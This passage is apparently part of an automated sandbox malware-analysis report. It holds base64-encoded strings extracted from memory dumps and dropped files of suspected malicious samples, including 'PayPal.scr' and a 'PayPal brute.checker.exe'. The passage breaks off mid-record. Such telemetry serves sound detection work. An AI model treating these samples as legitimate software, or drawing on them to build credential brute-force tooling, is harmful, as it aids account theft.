Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YHZpcnR1YWwgZGlzcGxhY2VtZW50IG1hcCc=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001B0000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QSBjbGFzcyBuYW1lZCAlcyBhbHJlYWR5IGV4aXN0cyVMaXN0IGRvZXMgbm90IGFsbG93IGR1cGxpY2F0ZXMgKCQwJXgpI0EgY29tcG9uZW50IG5hbWVkICVzIGFscmVhZHkgZXhpc3RzJVN0cmluZyBsaXN0IGRvZXMgbm90IGFsbG93IGR1cGxpY2F0ZXM=","type":"Unicode","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YSBudW1iZXJlZCByZWZlcmVuY2UgbXVzdCBub3QgYmUgemVybw==","type":"Ansi","source":"Memory/File Scan","process":"PayPal brute.checker.exe","filename":"00099410-00003540.00000001.99801.3F8CA000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QSN+JiVyaVsx","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QSVTWXZkNFl+","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QS5nOmElazw=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QTJBQkQ2OTcyMUEwM0Q3RDA2NDJEODFDRjA3NjNFMDNGRjFGRkJCNA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QTNGRjE2Mzg1QkVBMUQ0NTM0OUVBMTFDRTIzRTRGMzM3QjdENERENQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QTU3OEQwM0VENDE2NDQ3MjYxQTZCMUIxMzk2OTdBREQ3MjhCMzVCOA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QTVBODc0ODY0ODI3QkJENDI0RkFENENENTNCM0REQjI5NThGOTdCNQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QTVGNUQ2NEVGN0JCNjk2NDU1Qzk4NDFCOTA3RDJFMDk5ODZFQTkwMg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QTZEQzIxMDJBNUFFRjhGNUI4QzUzODdBMDgwRjM4MTMzNkExODUzRg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QT0iU0RVMmFWTQ==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"QUFDIHBheWxvYWQgdHlwZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVo=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXo=","type":"Ansi","source":"Memory/File Scan","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.001BA000.00000004.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWJsZVdlYkNhbUxpZ2h0cy5leGU=","type":"Unicode","source":"Memory/File Scan","process":"e6ee5674bb9446c78bbc5729af6e2c28.exe","filename":"00101297-00001072.00000000.101577.00A14000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"$60","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"$61","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWJvdXQ6Ymxhbms=","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWNfQnRtRGl2","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"YWNfU3ViTWVudQ==","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"YWNfVG9wRGl2","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"YWNBbHBoYUhpbnRz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWNBbHBoYUltYWdlTGlzdA==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWNjZXB0Q2hhbmdlcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjZXB0bGFzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjZXB0c2Vjb25k","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjZXNzQ29udHJvbFNlY3Rpb25z","type":"Ansi","source":"Memory/File Scan","process":"WatchBull.exe","filename":"00101338-00001632.00000000.101649.00872000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWNjTGlzdFZpZXdWNg==","type":"Unicode","source":"Runtime Data","process":"PayPal.scr","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudEFsZ28=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudENsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudENvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudERlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudEVycm9ySW1wb3J0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudEZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudEZpbHRlckNvbXA=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudElzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudE1hcHBpbmdTdGF0dXM=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudFBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudFBhZ2VWaXNpdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudFBvbGljeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudFJlcXVlc3Q=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudFNjaGVtYQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudFNlcnZpY2VMaWNlbnNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudFNwZWNpZmljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudFRhZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNjb3VudFRocmVhZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNjb3VudFdvcmtlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNsdWkuZGxs","type":"Unicode","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyQWRk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyQ2xvc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyRGV0YWlscw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyRW51bQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyT3Blbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRHJpdmVyUmVtb3Zl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRm9ybWF0Q2hvb3Nl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRm9ybWF0Q2hvb3NlVw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRm9ybWF0RW51bQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRm9ybWF0U3VnZ2VzdA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtRm9ybWF0VGFnRW51bQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtTWV0cmljcw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtQ2xvc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtQ29udmVydA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtT3Blbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtUHJlcGFyZUhlYWRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtUmVzZXQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtU2l6ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNtU3RyZWFtVW5wcmVwYXJlSGVhZGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWNubkMwd2xG","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"7318d96a0284f4d13ad8439d642222a6523f439c3120a75af4319fed79297d0b.bin","compromised":null,"detection_total":null,"total":null},{"value":"YWNudFV0aWxz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWNQYXRoRGlhbG9n","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWNQb3B1cEN0cmxz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWNxdWlyZVNSV0xvY2tFeGNsdXNpdmU=","type":"Ansi","source":"Hybrid Analysis","process":"PayPal.scr","filename":"00099374-00003980.00000000.99641.00181000.00000020.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWNTQlV0aWxz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWNTaGVsbEN0cmxz","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"YWNTeXNNZW51","type":"Unicode","source":"Dropped File","process":null,"filename":"PayPal.exe.597571784","compromised":null,"detection_total":null,"total":null},{"value":"YWNUaGRUaW1lcg==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWN0aW9uYDI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWN0aW9uQ29kZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWNUaXRsZUJhcg==","type":"Ansi","source":"Memory/File Scan","process":"PayPal.exe","filename":"00099768-00003800.00000002.103931.00789000.00000002.mdmp","compromised":null,"detection_total":null,"total":null},{"value":"QWN0aXZhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRhcHRlckFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRhcHRlckNvbmZpZw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRhcHRlckRlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlckdsb2JhbA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRhcHRlcklzc3Vlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlckl0ZXJhdG9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRhcHRlck1hcA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlclBhZ2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRhcHRlclBhcmFtZXRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlclBhcmFtZXRlckNvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlclNjaGVtYUNsYXNz","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlclNwZWNpZmljYXRpb25MaXN0ZW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlclN0dWI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlclRpbWVvdXRMaW1pdA==","type":"Unicode","source":"Runtime Data","process":"fontreview.exe","filename":null,"compromised":null,"detection_total":null,"total":null},{"value":"QWRhcHRlcldvcmtlckRlZg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX0NsaWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX0RvbWFpblVubG9hZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX0Zvcm1DbG9zaW5n","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX1Byb3BlcnR5Q2hhbmdlZA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX1NhbXBsZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX1NlbGVjdGVkSW5kZXhDaGFuZ2Vk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX1Nlc3Npb25FbmRpbmc=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX1Nob3du","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX1N0YXRlQ2hhbmdl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"YWRkX1RocmVhZEV4Y2VwdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQWNjb3VudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQWRhcHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQXV0aGVudGljYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQnJvYWRjYXN0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ2FsbGJhY2s=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ2FuZGlkYXRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ2xpZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ29sbGVjdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ29tcGFyYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ29uZmln","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ29udGFpbmVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ29udGV4dA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ3JlYXRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkQ3VzdG9tZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRGF0YWJhc2U=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRGVmaW5pdGlvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRGVzY3JpcHRvcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRGlzcGF0Y2hlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRXhjZXB0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRXhwcmVzc2lvbg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFjYWRl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFjdG9yeQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUFjY291bnQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUFkYXB0ZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUFkdmlzb3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUFubm90YXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUF0dHI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUF0dHJpYnV0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUF1dGhlbnRpY2F0aW9u","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUJyb2FkY2FzdGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNhbGxiYWNr","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNhbmRpZGF0ZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNsaWVudA==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbGxlY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbXBhcmF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbXBvc2Vy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbmZpZ3VyYXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbm5lY3Rpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbnN1bWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbnRhaW5lcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNvbnRleHQ=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUNyZWF0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUN1c3RvbWVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURhdGFiYXNl","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURlZmluaXRpb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURlc2NyaXB0b3I=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURpYw==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZURpc3BhdGNoZXI=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUVycm9y","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUV2ZW50","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUV4cG9ydGVy","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUV4cHJlc3Npb24=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUZhY2FkZQ==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUZhY3Rvcnk=","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUZpZWxk","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUZpbHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUdldHRlcg==","type":"Ansi","source":"Dropped File","process":null,"filename":"fontreview.exe.2280836192","compromised":null,"detection_total":null,"total":null},{"value":"QWRkRmFpbHVyZUhlbHBlcg==","type":"Ansi","source":"Dropped 